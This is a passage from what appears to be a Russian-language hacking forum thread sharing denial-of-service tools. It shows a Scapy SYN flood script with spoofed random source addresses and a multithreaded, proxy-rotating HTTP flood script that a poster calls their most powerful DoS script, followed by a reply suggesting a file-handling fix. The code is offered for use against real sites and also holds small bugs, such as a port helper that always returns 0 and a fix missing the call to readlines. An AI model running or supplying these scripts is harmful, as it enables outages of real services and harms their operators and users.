   return randome_ip


def randominteger():
   print(random.randint(1000,9000))
   return 0

def syn_flood(addr,port_dst,counter):
   rands_port = randominteger()
   b = randominteger()
   c = randominteger()
   i = 0
   while i < int(counter):
      IP_Packet = IP()
      IP_Packet.src = randomip()
      IP_Packet.dst = addr
     
      TCP_Pack = TCP()
      TCP_Pack.sport = rands_port
      TCP_Pack.dport = int(port_dst)
      TCP_Pack.flags = "S"
      TCP_Pack.seq = b
      TCP_Pack.window = c
      send(IP_Packet/TCP_Pack, verbose=0)
      print(colored("Send packet to "+addr+":"+str(port_dst)+" number pack is "+str(i)),'green')
      i = i + 1

if len(sys.argv) < 3:
   print(colored("[!] Usage 3 arguments",'red'))
   print(colored("[*] python3 script.py <host> <port> <counter_packet>",'green'))
host = sys.argv[1]
port = sys.argv[2]
counter = sys.argv[3]
syn_flood(host,port,counter)

HTTP Flood, самый мощный мой скрипт для Dos-атаки
Python:
import requests
import random
import threading
import time
url = "ваш_сайт"
ua = ['Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)',
      'Chrome/71.0.3578.98 Safari/537.36',
      'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36',
      'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3',
      'Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)',
      'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E' ]
x = 0
y = len(ua)
f = open('путь_до_файла_с_прокси','r')
line = f.readlines()
i = 0
print('Считываем строки ....')
time.sleep(1)
while True:
    try:
        print(line[i])
        i = i + 1
    except IndexError:
        break
print('найденно '+str(i) + ' строк')
string_i = i - 1
def dos():
    while True:
        prox_peremen = line[random.randint(0,string_i)]
        proxy = {
            "http": prox_peremen.strip()
        }
        head = {
        'User-Agent': ua[random.randint(0, len(ua) - 1)] }
        response = requests.get(url,headers=head,proxies=proxy)
        print(response.status_code)
while True:
    threading.Thread(target=dos).start()
В скрипте HTTP Flood есть косяк ты открываешь файл с прокси и уже никогда не закрываешь. По-моему надо было сделать так
Python:
...
with open("путь к прокси","r") as f:
    line =f.readlines
...
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!